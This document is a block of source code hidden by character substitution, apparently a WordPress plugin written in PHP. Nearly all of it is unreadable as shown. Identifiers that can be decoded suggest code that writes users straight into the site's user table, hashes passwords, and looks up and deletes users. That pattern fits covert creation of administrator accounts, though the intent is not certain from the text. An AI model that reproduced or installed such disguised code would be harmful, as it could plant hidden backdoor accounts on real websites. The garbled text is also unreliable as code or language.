GEQBCJL  #@PE[Z\[XJ_PLXGDMJO[ZB@HJBJGZ #	[L]\[G		OHEZL#	T####			iJELH[Z]H]JHJAL][\L	GEQBCJL ##		]^J]_^EG_\@HY						OHEZL###			@O	vJE		  	R###]@ZFNS			i@^v_XSYHPXKSN GEQBCJL #						##				]^J]_^EG_\@HY						@^v_XSYHPXKSN ]@ZFNS 						@^v_XSYHPXKSN ]@ZFNS 								vJE							KKAEPBMEYMGE ]@ZFNS 		@^v_XSYHPXKSN _N@]LYAZvQA  #T	LEZL	R#	OYYSFH^\M						SPDBZLLFM] @^v_XSYHPXKSN  					iAHZAvO@ELSPDBZLLFM] 	GEQBCJL 								OHEZL#@O		SPDBZLLFM] OYYSFH^\M 			OYYSFH^\M					 	]^J]_^EG_\@HY						OYYSFH^\M						KKAEPBMEYMGE _N@]LYAZvQA  #							LEZL			R#	JH]JA	KEFJB##		^XBH\D@G^MP												iSPDBZLLFM] GEQBCJL #	@O	^XBH\D@G^MP							vJE 					R#						LFKJ\]BDL				iSPDBZLLFM] GEQBCJL					OHEZL	G\EE					  #		v[]					i@^v_XSYHPXKSN GEQBCJL					OHEZL			G\EE		vJE			  #	]^J]_^EG_\@HY			@^v_XSYHPXKSN LFKJ\]BDL 					@N[KMFGKOJZ v[] 				LFKJ\]BDL						KKAEPBMEYMGE _N@]LYAZvQA			QOQKM  				v[]				@N[KMFGKOJZ _N@]LYAZvQA	vJE		   ####	T#	T####		T###	@O				]^J]_^EG_\@HY 	R#FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	SPDBZLLFM] 				@N[KMFGKOJZ GEQBCJL  ####		@O			\[HO\@XG 		GG[FMM@XFGEQBCJL				][\L #					@O			@N[KMFGKOJZ \SZ\LFZAK@HB  			R#		DLMNAXLDBSXS_		SPDBZLLFM] @^v_XSYHPXKSN  						iAHZAvO@EL@N[KMFGKOJZ 			GEQBCJL 		OHEZL#					@O	SPDBZLLFM] DLMNAXLDBSXS_ 			DLMNAXLDBSXS_										DLMNAXLDBSXS_			@^v_XSYHPXKSN _N@]LYAZvQA 			DLMNAXLDBSXS_							SPDBZLLFM] \SZ\LFZAK@HB  			R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			@^v_XSYHPXKSN 				SPDBZLLFM] GEQBCJL  #	[L]\[G	OHEZL###	T#			S]@S\SD											Jv[GJMMAY\BvJQ[YBEB\JZ			@N[KMFGKOJZ  #	@O						S]@S\SD		OHEZL				iKKAEPBMEYMGE S]@S\SD		\SZ\LFZAK@HB 								SPDBZLLFM] \SZ\LFZAK@HB  					R#						@O			A[E_SCK^\vBYS]@S\SD	GEQBCJL  		R#@O	iSPDBZLLFM] GEQBCJL 						QF^vvSG 					XX]L[vEYC^\OZSZ_@JLGEQBCJL	  #@O		QF^vvSG							OFS\^N^[@QHS]@S\SD						GEQBCJL  	R#@PE[Z\[XJ_PLXGS]@S\SD #								T		LEZL		R#		iSPDBZLLFM] GEQBCJL		\SZ\LFZAK@HB #			@PE[Z\[XJ_PLXGS]@S\SD #T#			T##	T		LEZL	R#		@O			S]@S\SD		OHEZL 						@PE[Z\[XJ_PLXGS]@S\SD #				i@^v_XSYHPXKSN GEQBCJL		\SZ\LFZAK@HB ##	T#	GKGGQEFO\QBQGEPGEQBCJL #		T			LEZL@O			QOBQNOEB 	R#		@PE[Z\[XJ_PLXGGEQBCJL #							T#						[L]\[G	OHEZL#		T#								GKGGQEFO\QBQGEPGEQBCJL #LCEBMJ]BEGEQBCJL #					XX]L[vEYC^\OZSZ_@JLGEQBCJL	QQ  #			@O						\[HO\@XG 			GG[FMM@XFGEQBCJL		OHEZL #						[L]\[G				][\L#	T#	O\GJ]@FG			XCKSLXOECGQvOZGEQBCJL			\[F_\MA^A] #							R#	[LEHQLM	ZJFYLJAH@G	###@DZNOYA					YAYuG#					@O			@^v_XSYHPXKSN \[F_\MA^A] 						\[F_\MA^A]											SPDBZLLFM] \[F_\MA^A]		@N[KMFGKOJZ  			OHEZL								_SMG[M@XJvKJSK\\[F_\MA^A]  		@DZNOYA				\[F_\MA^A]#	@O	iSPDBZLLFM] GEQBCJL  			R#					NAH[SB					iKKAEPBMEYMGE GEQBCJL ####	@O				@^v_XSYHPXKSN NAH[SB 			C^v@Z@\@ACBCLNAH[SB 							@DZNOYA 				[L]\[G###	T###				@O	ZKXOKS\JGG_ZQC@QYGEQBCJL	@DZNOYA  					R#				FX[@_J_X									i@^v_XSYHPXKSN GEQBCJL #@O			SPDBZLLFM] FX[@_J_X 					C^v@Z@\@ACBCLFX[@_J_X 		@DZNOYA  					iSPDBZLLFM] GEQBCJL			@DZNOYA #\GZL]FX[@_J_X #		T#GKGGQEFO\QBQGEPGEQBCJL #	T#				O\GJ]@FG	AFF]vv_DYH]]D ##R#@O		@N[KMFGKOJZ SPDBZLLFM]  							_HAOOJEGvM\FEEZZ  				[L]\[G	][\L#@O	KKAEPBMEYMGE @N[KMFGKOJZ  		UU						@^v_XSYHPXKSN @N[KMFGKOJZ   						[L]\[G		][\L#CDCJYMNO		AFDLv\[E #		CDCJYMNO				@N[KMFGKOJZ CDCJYMNO			 				OHEZL									 					@N[KMFGKOJZ 							KKAEPBMEYMGE  						@N[KMFGKOJZ QQ 	QQ  #							YCOFJFCO\					@^v_XSYHPXKSN CDCJYMNO	H[[HPKKAEPBMEYMGE 			w 				SPDBZLLFM] 			OHEZL		SPDBZLLFM] 						SPDBZLLFM] 							H[[HPKKAEPBMEYMGE 					SPDBZLLFM]    #	@O			SPDBZLLFM] SPDBZLLFM]  					@Zv^YvL[[F[YCOFJFCO\  				R#		@O		KKAEPBMEYMGE SPDBZLLFM]   				@^v_XSYHPXKSN  #			YCOFJFCO\										@^v_XSYHPXKSN CDCJYMNO		H[[HP@^v_XSYHPXKSN 								 					@N[KMFGKOJZ 			OHEZL	SPDBZLLFM] 					@^v_XSYHPXKSN 					H[[HPSPDBZLLFM] 							KKAEPBMEYMGE    ##	@O		SPDBZLLFM] SPDBZLLFM]  					@Zv^YvL[[F[YCOFJFCO\  	[L]\[G			OHEZL#		T#	BKCGLGME			@G] 			^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFMLYCOFJFCO\ PX_KA\[DSF\KNCSSPX_KA\ PX_KA\PX_KA\#		[L]\[G			BKCGLGME						 						BKCGLGME			QQO #				T#O\GJ]@FG	CQ@O\DX]\LHOGM[EJKZvSSX]N_GP					HOQEGHvB #	R#	KCQHOv@[HHO				@N[KMFGKOJZ KKAEPBMEYMGE HOQEGHvB 			 ###					OF[LHJA		#						H[[HP####@^v_XSYHPXKSN 								KCQHOv@[HHO			KKAEPBMEYMGE #		SPDBZLLFM] 			KCQHOv@[HHO						@^v_XSYHPXKSN #	KKAEPBMEYMGE 			KCQHOv@[HHO				@^v_XSYHPXKSN #	 	HZ			C_O\GFCHEK#			 			R#@O				@N[KMFGKOJZ KZvSSX]N_GP  		K[LHB####			KZvSSX]N_GP						@^v_XSYHPXKSN C_O\GFCHEK					uG			KZvSSX]N_GP #					T####[L]\[G				KZvSSX]N_GP\DJ@CBCQKMAE]L\DJ@CBCQK \DJ@CBCQK\DJ@CBCQK#	T####					O\GJ]@FG				GKGGQEFO\QBQGEPJFE^SQLEHF #R#		@O					KKAEPBMEYMGE @^v_XSYHPXKSN   			R#		[L]\[G			iFYJHJALv@G_HE@MH]LJFE^SQLEHF		][\L 							OHEZL#T#				A\DNDE]J^AD									SPDBZLLFM] @^v_XSYHPXKSN  					iFYJHJALvNL]vZ]H]\ZOHEZL 								OHEZL#	[L]\[G			SPDBZLLFM] A\DNDE]J^AD 				LDY]PA\DNDE]J^ADr@N[KMFGKOJZ t  #		T#O\GJ]@FG	]CMKXXQK@G\FHGEQBCJL				^HAvP]\PF^ZZ]	vSSXXA #			R#	@O	SPDBZLLFM] GEQBCJL	  								KKAEPBMEYMGE  			R#			@O		ZKXOKS\JGG_ZQC@QYGEQBCJL	^HAvP]\PF^ZZ]  		R#	FBQKvM[JB\ZMHPE\vSSXXA				KKAEPBMEYMGE 		SPDBZLLFM] GEQBCJL  #[L]\[G	OHEZL#		T#GKGGQEFO\QBQGEPGEQBCJL #				[L]\[G		KKAEPBMEYMGE ^HAvP]\PF^ZZ] ####				T#O@vFX@A					i@N[KMFGKOJZ GEQBCJL					@N[KMFGKOJZ  #	@O			O@vFX@A						OHEZL 	R#					FBQKvM[JB\ZMHPE\vSSXXA	@^v_XSYHPXKSN 						@^v_XSYHPXKSN GEQBCJL  #				[L]\[G			OHEZLZMQXZZHP@@QLZvZMQXZZ#T#			@O		SPDBZLLFM] @N[KMFGKOJZ   		iOEFJBO@vFX@A					efjbvlq ##	YCOFJFCO\				iKKAEPBMEYMGE O@vFX@A			^HAvP]\PF^ZZ] #						@O		@^v_XSYHPXKSN KKAEPBMEYMGE   		iOEFJBO@vFX@A				efjbv|g #iOJEFZLO@vFX@A #		@O	YCOFJFCO\			OHEZL			UU					^HAvP]\PF^ZZ]										YCOFJFCO\				SPDBZLLFM] ^HAvP]\PF^ZZ]   	R#	FBQKvM[JB\ZMHPE\vSSXXA	KKAEPBMEYMGE 			@^v_XSYHPXKSN GEQBCJL  ####		[L]\[G	OHEZL#						T#						[L]\[G	YCOFJFCO\#				T###	#							O\GJ]@FG			A[C[XPEKOXF #		R#	Y[FHJ]@_L	E@GLH[]PYL##	][P	R#								@O	KKAEPBMEYMGE KKAEPBMEYMGE  	UU	KKAEPBMEYMGE KKAEPBMEYMGE   		R#^MCBDLPLE@ONG\EE #	[L]\[G#		T###@O			NL]v][HGZ@LG]@^v_XSYHPXKSN   	[L]\[G#				@O	NL]v][HGZ@LG]@N[KMFGKOJZ   						[L]\[G#						ZL]v][HGZ@LG]@N[KMFGKOJZ 			  #	^MCBDLPLE@ONG\EE #@O				@N[KMFGKOJZ KKAEPBMEYMGE   		MLEL]Lv][HGZ@LG]SPDBZLLFM]  #_XvF]P]YX				SPDBZLLFM] @^v_XSYHPXKSN  				Z][@GN 				AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 	 					#@O	_XvF]P]YX										SPDBZLLFM] SPDBZLLFM]  					\ZL[GHDLvLQ@Z]Z_XvF]P]YX  		R#ZL]v][HGZ@LG]KKAEPBMEYMGE 				  ####				T#T	JH]JA			}A[F^HKEL		E]GYK]v 	R#	iY[F_@Z@FG	ELHBPK\JBL]##		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E]GYK]v #T			JH]JA		lQJLY]@FG					E]GYK]v 		RJ_B^JQ]G^O[@vJ_B^JQ#	T#			T####					O\GJ]@FG						^MCBDLPLE@ONFPMvK@FJ ##	R#					@O			JD@CQMEODG^SPDBZLLFM]   		[L]\[G#			][P		R#								@O			@^v_XSYHPXKSN SPDBZLLFM]  		UU									@^v_XSYHPXKSN @N[KMFGKOJZ   	R#[L]\[G#				T#		HBXBBCCC					Z][@GN 				AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 		 #	@O	HBXBBCCC														\ZL[GHDLvLQ@Z]ZHBXBBCCC 									Z][@GN 		AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 	 							 	R#[L]\[G#		T#		@O			HBXBBCCC				 	R#	E@GLH[@SHKEL	ZPGJA[FG@SL[	#####		XEDDA\_GXE					SPDBZLLFM] FPMvK@FJ 					FPMvK@FJ					vDBQCN\XAA #		@M\@MvMPLZ					BNXNv\JXSNKHN]@MSv]XEDDA\_GXE #		@O				##		@M\@MvMPLZ					LDY]P@M\@MvMPLZ\ZL[vEFN@G 					@ZZL]@M\@MvMPLZ\ZL[vLDH@E ##				@M\@MvMPLZ\ZL[vLDH@E				@M\@MvMPLZ\ZL[vEFN@G								i								^NSJYZ_PLBFXKOKKAEPBMEYMGE  #	 				R#					HBXBBCCC					Z][@GN 	@M\@MvMPLZ\ZL[vEFN@G#			T#					T#@O	HBXBBCCC										\ZL[GHDLvLQ@Z]ZHBXBBCCC  			R###	ZND@]EDvY^		\ZL[GHDLvLQ@Z]ZHBXBBCCC #						K@OX_HNS]_YM			LQQJANXGGQNw  ####		@O				@N[KMFGKOJZ KKAEPBMEYMGE   				R#	@^v_XSYHPXKSN K@OX_HNS]_YM	ZND@]EDvY^ #T##			CSvEESS]PSH[M^GBD_SPDBZLLFM] 	HBXBBCCC		SPDBZLLFM]  \P[\]CD\KK@\\P[\]C#				CSvEESS]PSH[M^GBD_@N[KMFGKOJZ 			K@OX_HNS]_YM	SPDBZLLFM]  #			[L]\[G#					T#EOKMKK\MAK					@S]MS^KHZNAQLFD #					@O		][\L 	R#		HBXBBCCC							#	OF[		XG_KC@\DKGv				XG_KC@\DKGv			 			XG_KC@\DKGv 	R#EJDKMN[C]			EOKMKK\MAKr@N[KMFGKOJZ EOKMKK\MAK t		LQQJANXGGQNw  #			@O	\ZL[GHDLvLQ@Z]ZEJDKMN[C]  					R#	HBXBBCCC					EJDKMN[C]#			K[LHB#	~y	yH[HN[HYA	kEFJB	H]]HJADLG]	DL]HMH]H###					T#				T#						@O		HBXBBCCC				 		R#	YFZ@]@_LMLO@G@]L	HMHY]L[	##				FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 			@^v_XSYHPXKSN  #		[L]\[G#T#			T#K@OX_HNS]_YM					LQQJANXGGQN  #	@O									KKAEPBMEYMGE @N[KMFGKOJZ  					MLO@GLMSPDBZLLFM]  						KKAEPBMEYMGE hkzyh}a		KKAEPBMEYMGE   					R#	{LM@Z	FKCLJ]	JHJAL	FKCLJ]	O@]#BCSGHNZSCGCYSBCSGHNZ#	[LX\@[LvFGJL				hkzyh}a										SPDBZLLFM] #							T###							[JNHOPGNBKM					HBXBBCCC					i			^NSJYZ_PLBFXKOKKAEPBMEYMGE  #E\B_YCDvOY				OHEZL#	@O	@N[KMFGKOJZ @N[KMFGKOJZ   			R##E\B_YCDvOY							SPDBZLLFM] H[[HP####			SPDBZLLFM] 						HBXBBCCC#SPDBZLLFM] 						K@OX_HNS]_YM#				@^v_XSYHPXKSN 		[JNHOPGNBKM#				@^v_XSYHPXKSN 					@^v_XSYHPXKSN #		KKAEPBMEYMGE 			HBXBBCCC#							  #@O		@Zv^YvL[[F[E\B_YCDvOY  				R#					FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E\B_YCDvOYNL]vL[[F[vJFML 									E\B_YCDvOYNL]vL[[F[vDLZZHNL  ##	E\B_YCDvOY							OHEZL###		T#	T##			@O			E\B_YCDvOY 			R####					^YMK		@ZZL]nefkhezr@^v_XSYHPXKSN t 			nefkhezrSPDBZLLFM] t				G\EE#	@O	^YMK				UU	@N[KMFGKOJZ ^YMK  		R#				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		SPDBZLLFM]  #[L]\[G#	T#			HPFF@H^								KKAEPBMEYMGE KKAEPBMEYMGE  						^YvAHZAvYHZZ^F[MK@OX_HNS]_YM 					@^v_XSYHPXKSN K@OX_HNS]_YM #			KXM_X^QZCF\LE					@^v_XSYHPXKSN SPDBZLLFM]  				J\[[LG]v]@DL@N[KMFGKOJZ  					NDMH]L@N[KMFGKOJZ  #AJK[DvH								^YMK@GZL[]^YMK\ZL[Z	H[[HP#		SPDBZLLFM] 				HBXBBCCC#			@N[KMFGKOJZ 				HPFF@H^####	SPDBZLLFM] 								HBXBBCCC#		SPDBZLLFM] 						[JNHOPGNBKM#@^v_XSYHPXKSN 					KXM_X^QZCF\LE#				@N[KMFGKOJZ 						####						@N[KMFGKOJZ 			HBXBBCCC####		 			H[[HPKKAEPBMEYMGE 		@^v_XSYHPXKSN 		KKAEPBMEYMGE 		@N[KMFGKOJZ 		KKAEPBMEYMGE 	@^v_XSYHPXKSN 						@^v_XSYHPXKSN   #	@O		AJK[DvH 			R#							FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	KKAEPBMEYMGE  ###	[L]\[G####		T#		E\B_YCDvOY				@G] 	^YMK@GZL[]v@M#	QM[CPKLBD									^YMKY[LO@Q					SPDBZLLFM] #^YMK@GZL[]^YMK\ZL[DL]H		H[[HP##							KKAEPBMEYMGE 					E\B_YCDvOY#			SPDBZLLFM] 								QM[CPKLBD#		@N[KMFGKOJZ 				@N[KMFGKOJZ H[[HPSPDBZLLFM] 			][\L  #	 	H[[HPSPDBZLLFM] 						@^v_XSYHPXKSN 					SPDBZLLFM]   ###	^YMK@GZL[]^YMK\ZL[DL]H				H[[HP#				KKAEPBMEYMGE 		E\B_YCDvOY####	@^v_XSYHPXKSN 										^YMKY[LO@Q						SPDBZLLFM] #						@^v_XSYHPXKSN 			#		 			H[[HP@^v_XSYHPXKSN 			KKAEPBMEYMGE 			@N[KMFGKOJZ   #	@O				@N[KMFGKOJZ @^v_XSYHPXKSN   	R#	JELHGv\ZL[vJHJALE\B_YCDvOY #					T##	T#@O					\ZL[GHDLvLQ@Z]ZHBXBBCCC  	R#					FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	KKAEPBMEYMGE  ###	[L]\[G#T####	PJBvH[vX^HS[							SPDBZLLFM] KKAEPBMEYMGE  					NL]v\ZL[vKP@N[KMFGKOJZ 			HBXBBCCC 							OHEZL#	Y_K_^SHQ								OHEZL#@O				PJBvH[vX^HS[					LDY]PPJBvH[vX^HS[`m  			R###	@O	KKAEPBMEYMGE KKAEPBMEYMGE   			R#Y_K_^SHQ				KFFE 		\ZL[vJHGPJBvH[vX^HS[		@N[KMFGKOJZ  #	T	LEZL@O	@ZZL]PJBvH[vX^HS[JHYZ 				@^v_XSYHPXKSN PJBvH[vX^HS[JHYZ  	R#Y_K_^SHQ						LDY]PPJBvH[vX^HS[JHYZrKKAEPBMEYMGE t #			T#	T#	~y	kEFJB	hy`	_	N[LLMP	HJJ\D\EH]F[###	@O		Y_K_^SHQ 	R#	FBQKvM[JB\ZMHPE\SPDBZLLFM] 					@^v_XSYHPXKSN  #		@O		E\B_YCDvOY 					R#				@O				@^v_XSYHPXKSN KKAEPBMEYMGE  					MLO@GLMSPDBZLLFM]  			iSPDBZLLFM] hkzyh}a					@^v_XSYHPXKSN   	R#				[LX\@[LvFGJL		hkzyh}a					SPDBZLLFM] ####				T#	@O						KKAEPBMEYMGE @N[KMFGKOJZ   					i^YvMLEL]Lv\ZL[E\B_YCDvOY #T#			[L]\[G#						T#		CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 			HBXBBCCC		SPDBZLLFM]  #	CSvEESS]PSH[M^GBD_@^v_XSYHPXKSN 			K@OX_HNS]_YM			@N[KMFGKOJZ  #				T				JH]JA		}A[F^HKEL	E]GYK]v 		R#	[LZ]F[L	L_LG]\HE	DLZZHNLX\L\L###FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	E]GYK]v #						T	JH]JA	lQJLY]@FG				E]GYK]v 					R#	T				O@GHEEP		R#	NZADHFK@PJ[KKAEPBMEYMGE  #	T#T##		O\GJ]@FG					CJvH_OEQPOXQ_HC[]Bv_ #		R####			][P	R##				@O				KKAEPBMEYMGE HC[]Bv_ 	UU					Y[FYL[]PvLQ@Z]ZHC[]Bv_		@^v_XSYHPXKSN   				R##			[L]\[G	HC[]Bv_###			T#####	HBXBBCCC				@^v_XSYHPXKSN @^v_XSYHPXKSN  							Z][@GN 			AK@\_C^N^\[SGBvvQSPDBZLLFM] 			 				#		@O				HBXBBCCC 	R##	[L]\[G						HC[]Bv_#	T#		#	QK]X\XSC							LZJvZXEHBXBBCCC #@O						@N[KMFGKOJZ HC[]Bv_X\L[Pv^AL[L		QK]X\XSC 		OHEZL 	R#	HC[]Bv_X\L[Pv^AL[L					@^v_XSYHPXKSN 			QK]X\XSC			#						T#		T				JH]JA	}A[F^HKEL				E]GYK]v 			R#	FBQKvM[JB\ZMHPE\SPDBZLLFM] 		E]GYK]v #	T				JH]JA			lQJLY]@FG				E]GYK]v 		R####	T###					[L]\[G		HC[]Bv_#							T#	O\GJ]@FG				CJKYYN_LBBYASCZZJ_KN\J^v ####			R#	MLNLGL[H]L	][\Z]HGJAF[	##		][P		R#				_XvF]P]YX			SPDBZLLFM] SPDBZLLFM]  			Z][@GN 		AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 	 							#@O								_XvF]P]YX 			R#	@MLG]@]P	JFDYH[@ZFG##[L]\[G		CZZJ_KN\J^v#				T#				GAMHOEQJ]							H[[HPSPDBZLLFM] 	@N[KMFGKOJZ  #							OF[LHJA		GAMHOEQJ]		HZ		BLP 			R#				@O		@ZZL]CZZJ_KN\J^vrBLPt 				@N[KMFGKOJZ CZZJ_KN\J^vrBLPt 						@^v_XSYHPXKSN SPDBZLLFM] 			CZZJ_KN\J^vrBLPt			_CZDGOY  		R#DCD[LZ@BKN\_			@^v_XSYHPXKSN 			@G] 				_CZDGOYrt				 #		#####				CZZJ_KN\J^vrBLPt							@N[KMFGKOJZ SPDBZLLFM] 					DCD[LZ@BKN\_				 	CZZJ_KN\J^vrBLPt ##	T####			T#T			JH]JA		}A[F^HKEL	E]GYK]v 	R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E]GYK]v #	T				JH]JA		lQJLY]@FG	E]GYK]v 	R#		T#		[L]\[G				CZZJ_KN\J^v#					T#O\GJ]@FG					JED]NQOGCEvMQ[B^A\\YFJX	SQGX^DHXXZQO #		R]A[ALMNE]A[A#	][P		R#	HBXBBCCC				SPDBZLLFM] SPDBZLLFM]  				Z][@GN 	AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 	 							#					@O	HBXBBCCC						 				R#			[L]\[G					A\\YFJX#		T#			@O					@N[KMFGKOJZ A\\YFJX  	R#				[L]\[G	A\\YFJX#			T#							@O								@ZZL]A\\YFJXrKKAEPBMEYMGE t 			UU					@N[KMFGKOJZ A\\YFJXr@N[KMFGKOJZ t  	R#		A\\YFJXr@^v_XSYHPXKSN t						H[[HP [vQ\[DZPJSYSH[vQ\[DZ [vQ\[DZ[vQ\[DZ#T#	@O							@N[KMFGKOJZ HBXBBCCC					A\\YFJXr@N[KMFGKOJZ t	][\L  				R#					A\\YFJXr@^v_XSYHPXKSN trt				HBXBBCCC#T#		T		JH]JA		}A[F^HKEL		E]GYK]v 	R#FBQKvM[JB\ZMHPE\SPDBZLLFM] 				E]GYK]v ##					T		JH]JA	lQJLY]@FG		E]GYK]v 						R#		T#	[L]\[G		A\\YFJXSGE_@MQBvH]QQNB\PPLSSGE_@MQBv#T#						#O\GJ]@FG	QFQOCNJMDA #							R##			QvL@DHL^QL						H[[HP #		##						@O	MLO@GLMSPDBZLLFM]  		@^v_XSYHPXKSN @^v_XSYHPXKSN   			R#	dPzxe		j}lZ	@GZ][\DLG]	ZJFYLJAH@G##				MHK_[YGZ]						H[[HP 					NL]vFY]@FGKKAEPBMEYMGE 						H[[HP  #					@GSZX@CEJZY				H[[HP #	OF[LHJA		MHK_[YGZ]		HZ		KHZLGHDL 	R#				@O			KKAEPBMEYMGE KHZLGHDL 			UU		@^v_XSYHPXKSN KHZLGHDL			@^v_XSYHPXKSN  				OHEZL 		R####			JFG]@G\L#T#	][HGZY@EL	ZYH[ZL	M@ZYH]JAL[##				QvES_EM[O					@^v_XSYHPXKSN KHZLGHDL #	@O			QvES_EM[O						 		R#			QvES_EM[O					KHZLGHDL#								T#						@O			@ZZL]@GSZX@CEJZYrQvES_EM[Ot  	R##JFG]@G\LKOFYAJSENKOA]\J^ZXKOFYAJSENKOA#			##	T####@GSZX@CEJZYrQvES_EM[Ot						][\L#GEQBCJL					~yvye|n`gvm`{								KHZLGHDL#@O	@N[KMFGKOJZ KHZLGHDL 						 			R#	@O	i@N[KMFGKOJZ GEQBCJL  		R#	QvL@DHL^QLrt			GEQBCJL#T#	Y[LOL]JA	ML]L[D@G@Z]@J	HEL[]##	T		LEZL				R##[YBEB\JZ						KKAEPBMEYMGE GEQBCJL ##	@O					i@^v_XSYHPXKSN [YBEB\JZ  				R#	QvL@DHL^QL										@N[KMFGKOJZ QvL@DHL^QL	CQGFv[[NLLLLBQO[YBEB\JZ				H[[HP@^v_XSYHPXKSN    #		T#	T#	T###			T#	@]L[H]L	ZLZZ@FG]PYL	OF[	~y	oFG]	e@K[H[P######							@O		i@^v_XSYHPXKSN \vJHFGLF__PBZFA]G   		R#	i\GZ\KZJ[@KL	JFF[M@GH]F[##						G^\KHQD						\Z\AGLAZAHZXB\\vJHFGLF__PBZFA]G  ##@O						KKAEPBMEYMGE G^\KHQD  	R###	OF[LHJA			G^\KHQD					HZ				SNMHJKG]OP 	R#							@O		SNMHJKG]OP							@BZAN\Q\PQ@EXJP  	R##		JFG]@G\L###								T#			JFE^SQLEHF					\vJHFGLF__PBZFA]G 													SNMHJKG]OP#		@O			i@^v_XSYHPXKSN JFE^SQLEHF 						@N[KMFGKOJZ SPDBZLLFM] SNMHJKG]OP			JFGZ]HG]SPDBZLLFM]    					@N[KMFGKOJZ  	R##				QvL@DHL^QLrt				JFE^SQLEHF#			T#	T####T#T#					####						@O		MLO@GLM@^v_XSYHPXKSN  					@N[KMFGKOJZ @N[KMFGKOJZ   	R#_@_CCJY@DBKP			Z][@GN 	NL]vFY]@FG@N[KMFGKOJZ 						 #		##HLPEDX[@[J^JXJ			Z][@GN 	NL]vFY]@FG@N[KMFGKOJZ 	 #	B_PF[A@Y			MLO@GLM@^v_XSYHPXKSN  				~yvjfg}lg}vm`{			SPDBZLLFM] 					hkzyh}a			@N[KMFGKOJZ #				\ADSYNvG						KKAEPBMEYMGE SPDBZLLFM] H[[HP_@_CCJY@DBKP		HLPEDX[@[J^JXJ   #								OF[LHJA	\ADSYNvG				HZ		@ZN[XKKQY 	R#@O		KKAEPBMEYMGE @ZN[XKKQY	@^v_XSYHPXKSN  				OHEZL 				R#	JFG]@G\L#T#ESH^GZH								B_PF[A@Y									@ZN[XKKQY#@O						i@^v_XSYHPXKSN ESH^GZH  	R#				#		v_DCMv]Z^E^			\Z\AGLAZAHZXB\ESH^GZH #					@O	@^v_XSYHPXKSN v_DCMv]Z^E^  	R#OF[LHJA			v_DCMv]Z^E^		HZ		SNMHJKG]OP 	R#						\[X@S@BQO							ESH^GZH											SNMHJKG]OP#@O				i@N[KMFGKOJZ \[X@S@BQO 		KKAEPBMEYMGE @^v_XSYHPXKSN SNMHJKG]OP		JFGZ]HG]KKAEPBMEYMGE    						@^v_XSYHPXKSN  			R#			QvL@DHL^QLrt		\[X@S@BQO#		T#				T#T#	~y	yFZ]	lQJL[Y]	H]]HJADLG]	DL]HMH]H##	#			PD\PODCKYM							ESH^GZH				SPDBZLLFM] #	@O	iKKAEPBMEYMGE PD\PODCKYM  	R#				QvL@DHL^QL				KKAEPBMEYMGE QvL@DHL^QL					CQGFv[[NLLLLBQOPD\PODCKYM	H[[HPSPDBZLLFM]    ####						T#						T#	T###	T#				[L]\[G					@N[KMFGKOJZ QvL@DHL^QL ###T#		O\GJ]@FG		SMMMSODOSM@PNP@NYAOBHL #	R#			@O	@^v_XSYHPXKSN @NYAOBHL  					[L]\[G		H[[HP ####[@SJ_CSFAXGMQvQ						H[[HP #		OF[LHJA				@NYAOBHL		HZ			YCOFJFCO\ 	R#@O			SPDBZLLFM] YCOFJFCO\ 		UU		YCOFJFCO\										UU	SPDBZLLFM] YCOFJFCO\ 				  		JFG]@G\L#		][P	R#	Z][LZZ]LZ]	@GMLJFDYFZHKEL	H\]AF[@]P##@O	i@^v_XSYHPXKSN YCOFJFCO\		 							OHEZL 		JFG]@G\L#T		JH]JA			}A[F^HKEL			E]GYK]v 	R#				JFG]@G\L####	T	JH]JA		lQJLY]@FG		E]GYK]v 			R#			JFG]@G\L#T#		[@SJ_CSFAXGMQvQrt						YCOFJFCO\##					T#	~y	aFDL	e@GB	][HJL	MFD@GH]F[][LL##			[L]\[G	[@SJ_CSFAXGMQvQ##	T#O\GJ]@FG	[PS]@QGJKA[Yv@NYAOBHL #	R#		][P	R#			#@O			LDY]P@NYAOBHL  			R###			[L]\[G		OHEZLS_J\OvZ@@^K@AFHHS_J\OvZ#			T###	QvL@DHL^QL					QFQOCNJMDA ####					@O		LDY]PQvL@DHL^QL  					R#	EFJB	JFGZ][H@G]ZL]	OF[	~y	yFZ]	}@]EL##		[L]\[G					OHEZL#	T#					_]PJ\SGZNYM				OHEZL#				OF[LHJA		QvL@DHL^QL	HZ	JFE^SQLEHF 			R#		#		@O		iKKAEPBMEYMGE JFE^SQLEHF 			UU						iSPDBZLLFM] JFE^SQLEHF  	R#JFG]@G\L#		T##							@O	iKKAEPBMEYMGE JFE^SQLEHF 							  	R#JFG]@G\L###				T#_N@]LYAZvQA				i@N[KMFGKOJZ JFE^SQLEHF #			@O		_N@]LYAZvQA		UU			KKAEPBMEYMGE _N@]LYAZvQA  	R#JFG]@G\L#				##				T#	#			NKQ[LX_[JP		OHEZL####	OF[LHJA	@NYAOBHL	HZ		Z@LvvQvLJ 		R#][P		R##			####S@SME\KMH@						iKKAEPBMEYMGE Z@LvvQvLJ				_N@]LYAZvQA #	@O					S@SME\KMH@					G\EE									S@SME\KMH@				_N@]LYAZvQA 		R#		_N@]LYAZvQA						S@SME\KMH@[B^@YCJYMO_EH^PZH[B^@YC [B^@YC[B^@YC#		NKQ[LX_[JP		][\L#			T#	~F[My[LZZ		KEFJB	K@GM@GNZ	@G]L[[\Y]	ML[@_H]@FG##						T	JH]JA				}A[F^HKEL			E]GYK]v 	R#			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 					E]GYK]v #JFG]@G\L#							T	JH]JA	lQJLY]@FG		E]GYK]v 		R#	~y	gH_@NH]@FG	kEFJB	GFGJL	_HE@MH]@FG##		JFG]@G\L#			T#		T#		#			@O	NKQ[LX_[JP 				R#@O		ZKXOKS\JGG_ZQC@QYJFE^SQLEHF	_N@]LYAZvQA  					R#_]PJ\SGZNYM					